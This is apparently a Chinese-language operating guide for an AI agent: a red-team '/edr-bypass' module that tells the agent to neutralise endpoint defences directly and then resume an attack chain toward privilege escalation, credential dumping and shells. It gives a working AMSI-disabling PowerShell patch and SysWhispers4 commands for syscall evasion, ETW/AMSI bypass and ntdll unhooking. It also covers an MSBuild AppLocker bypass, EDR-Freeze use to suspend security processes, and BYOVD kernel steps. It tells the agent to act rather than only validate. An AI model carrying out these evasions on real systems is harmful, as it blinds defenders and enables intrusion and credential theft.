pale-knight /edr-bypass — Endpoint Execution & Defense Evasion
定位： 横向能力模块。原 Attack 模块的攻击原语已经成立，但 AV/EDR/AMSI/WDAC/PPL/内存扫描/内核遥测 拦住了当前指定动作时，由操作者临时调用本模块。
SUCCESS ≠ shell。 成功 = 被拦住的那个动作现在可以执行。然后 立即返回原模块 把链打完（含
/privesc-win/privesc-linux/creds/post/shell）。本模块是红队模块：该打的 bypass / neutralization 就打。不要改成“只做安全验证”。高影响技术保留，标前置、OS/build、权限、EDR 产品依赖、恢复和影响。不写“通杀所有 EDR”。
开局与收尾
开局第一件事：Read ./notes.md，看清 原模块、被拦动作。走到阻断层才 Read 一份 reference。
监听 / sudo / 输密码 / Permission denied：立刻停，说明等操作者做什么，等回报。不要假装已成功。不要跑 modules.py tail。
收尾：追加 notes（阻断层 / 技术 / After=EXECUTABLE / 回原模块哪一步）→ 立刻回原模块把链打完。不要 /clear。不要读 default_next。
0. 严格边界
属于 /edr-bypass
AV / Defender 静态扫描
AMSI / script runtime
user-mode API hook
process / memory telemetry
kernel-triggered memory scan
call-stack validation
PPL / HVCI / driver controls
WDAC / AppLocker
EDR user-mode / kernel component
endpoint application-control
不属于 /edr-bypass（回去原模块打）
WAF / CDN / HTTP parser → /web-attack
Mail gateway / Safe Links → /phishing
LDAP signing / Kerberos / EPA / ADCS → /ad-attack
Cloud IAM / SCP / CA → /cloud-attack
K8s RBAC / Admission / Pod Security → /k8s
workflow / branch / runner trust → /cicd
DB / service ACL / auth → /service-attack
C2 / persistence → /post
network reachability → /tunnel
1. 第一步永远是定位阻断层
输入必须写清：
Originating module: /web-attack | /ad-attack | /cloud-attack | /k8s | /cicd | /service-attack | /phishing | /privesc-win | /privesc-linux | /creds | /post | /shell
Blocked action:
EXE / DLL / script / shellcode / BOF / .NET assembly / credential access / process create
Endpoint:
OS / build / arch / privilege / integrity
Observed product:
Defender / CrowdStrike / SentinelOne / Carbon Black / unknown
Observed blocker:
file write | image load | process create | AMSI | API hook | memory scan | call stack | WDAC | PPL | kernel
Evidence:
event / toast / file quarantine / process kill / AMSI 0x80070057 / AppLocker 8004
不要上来就换壳/换加密密钥。先确认是哪一层。
详见 references/defense-assessment.md。
2. 按阻断层选技术（直接打）
落地/镜像加载被拦 → references/static-payload.md
AMSI / PowerShell / .NET → references/script-runtime.md
命令行/进程创建/hook → references/native-api-syscalls.md + references/process-execution.md
内存扫描 / 注入行为链 → references/memory-execution.md
调用栈 / sleep 明文 → references/callstack-telemetry.md
AppLocker / WDAC → references/application-control.md
PPL / 驱动 / 回调 / EDR 进程 → references/kernel-edr.md
LSASS/PPL 凭据访问被拦 → references/credential-access-evasion.md
本模块提供真实命令和 PoC。靶场/授权红队直接执行。不要停在“建议换一种 payload”。
3. Static / On-write
文件落地或 image load 之前被拦。
payload 结构 / PE metadata
packer / 加密 / loader 分离
COFF / object mixing
合法签名加载上下文
Donut + 分离加载
# .NET / PE → shellcode（Donut）
git clone https://github.com/TheWover/donut.git
# 按当前 README 生成 shellcode，不要假设旧参数永远兼容
“0 detection on VirusTotal” ≠ 真实 endpoint success。以目标机/同版本实验环境运行结果为准。
详见 references/static-payload.md。
4. Script / AMSI / Runtime
原链依赖 PowerShell/.NET/script host，且被 AMSI 拦。
先识别：
$PSVersionTable
$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage 是应用控制问题，不是 AMSI 问题 → references/application-control.md
经典内存补丁（PowerShell 5 / 全量 CLR，授权靶场直接用）：
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}
$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}}
$f.SetValue($null,$true)
硬件断点不改 AmsiScanBuffer 字节，适合完整性检查更严的环境。实现见 references/script-runtime.md。
PowerShell 7 / coreclr 不要套 PS5 patch。能不用脚本运行时就不要为了“会 AMSI bypass”强行引入。
详见 references/script-runtime.md。
5. Native API / SysWhispers4 / BOF
高噪声来自额外进程和命令行，而不是功能本身。
whoami → token APIs
netstat → GetExtendedTcpTable
cmd.exe /c → 直接 NtCreateUserProcess / 原链已有的执行原语
SysWhispers4
git clone https://github.com/JoasASantos/SysWhispers4.git
cd SysWhispers4
# 常用内存/线程
python3 syswhispers.py --preset common --arch x64
# 注入族 + 间接 syscall
python3 syswhispers.py --preset injection --method indirect --resolve tartarus --arch x64
# 高对抗实验（不是“EDR off”）
python3 syswhispers.py --preset stealth \
--method randomized --resolve recycled \
--obfuscate --encrypt-ssn --stack-spoof \
--etw-bypass --amsi-bypass --unhook-ntdll \
--anti-debug --sleep-encrypt
--method indirect / randomized 从 ntdll 的 syscall;ret gadget 进内核，调用栈比 embedded 直接 syscall 自然。两者都 不是 kernel telemetry / memory scan 的万能解。
BOF/COFF：已有支持 BOF 的 implant 时，把功能做成 in-process 小单元，避免 cmd.exe/powershell.exe。
详见 references/native-api-syscalls.md。
6. Process execution primitives
当阻断发生在 进程创建 / 父进程树 / 远程线程 时，不要无脑 CreateRemoteThread。
候选：
PPID spoof
Early Bird APC
module stomping
entry-point hijacking
callback execution（EnumWindows / timer / APC）
section mapping / transacted hollowing（环境门控）
详见 references/process-execution.md。
7. Memory execution
VirtualAllocEx → WriteProcessMemory → CreateRemoteThread
这条链在现代 EDR 上特征极强。按阻断层换：
image-backed / module stomping
entry-point hijack
callback-driven
APC / suspended process
Caro-Kann memory-scan timing research
threadless
Caro-Kann：
git clone https://github.com/S3cur3Th1sSh1t/Caro-Kann.git
cd Caro-Kann
# 按 README 交叉编译；标为 memory-scan timing research，不是通用注入替代
详见 references/memory-execution.md。
8. Call stack / sleep
# SilentMoonwalk / Unwinder 类：按当前官方 README 编译
# Ekko sleep obfuscation
git clone https://github.com/Cracked5pider/Ekko.git
详见 references/callstack-telemetry.md。
9. Application control
先读真实 policy，再滥用允许的签名/路径/LOLBAS。
Get-AppLockerPolicy -Effective -Xml
# MSBuild（微软签名，常见默认允许）
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe evil.csproj
管理员用 AppLocker 影响 EDR 用户态组件（GhostLocker 研究路径）见 references/application-control.md。那是高权限 neutralization，不是低权 bypass。
10. Kernel / EDR neutralization / EDR-Freeze / BYOVD
高权限、高影响。授权红队/靶场直接做，但必须记 OS build、HVCI、blocklist、驱动 hash、恢复。
EDR-Freeze（用户态，不必 BYOVD）
WerFaultSecure + MiniDumpWriteDump 竞争，把 EDR/Defender 进程挂起。公开实现：TwoSevenOneT/EDR-Freeze。作者在 Windows 11 24H2 上验证过 Defender。
需要：能对目标安全进程操作的权限（通常高完整度/管理员）
PPL 保护的进程能否被挂起取决于当前 WER/PPL 组合，先在同版本实验环境验证
Impact: CONTROL — 临时致盲；不卸载驱动
恢复：超时后进程恢复，或重启安全服务
按当前仓库 README 编译后：
EDR-Freeze.exe <pid> <milliseconds>
先对 Defender/EDR 用户态进程做短超时实验（例如 10000 ms），确认原被拦动作可执行，再回到原 Attack 模块把链打完。不要宣称“所有 EDR 永久失明”。
BYOVD
1. 查 Microsoft recommended driver blocklist + loldrivers.io
2. 确认 HVCI / Memory Integrity / Secure Boot
3. 只有 hash 未被拦、HVCI 允许加载时才尝试
4. 取得 kernel RW 后做最小动作（清特定 callback / 关 PPL 句柄），不要“关掉所有回调”
5. 测试完卸载驱动、恢复服务
RTCore64 等经典驱动 经常已经在 blocklist 上，不要当 2026 默认弹。没有当前未拦截、可验证的驱动时：标 NO-STABLE-UNBLOCKED-DRIVER，改走 EDR-Freeze / 用户态路径，不编造加载命令。
详见 references/kernel-edr.md。
11. 凭据访问中的端点绕过
LSASS/PPL dump 的“拿到什么凭据”属于 /creds。本模块只解决 PPL/EDR/handle protection 拦住 dump 这一层。
nanodump / 间接 dump / PPL 降级 / 手柄复制
成功：原 dump/读操作现在可执行
然后回原模块或等操作者选 /creds
详见 references/credential-access-evasion.md。
12. 完成条件与返回原链
[EDR BYPASS]
Originating module: ...
Blocked action: ...
Observed defense layer: ...
Technique selected: ...
Prerequisites: OS/build/priv/product
Before: BLOCKED
After: EXECUTABLE / STILL BLOCKED
Impact: ...
Restore/cleanup: ...
Resume: <原模块精确步骤，继续打权限/shell>
本模块不自动选择下一模块。 不拥有 foothold。原链的 shell/DA/云身份仍由原 Attack 模块完成。
验证见 references/validation.md。
写入 ./notes.md：阻断层、技术、After=EXECUTABLE、回原模块哪一步。不要 /clear。 立刻回原模块把链打完。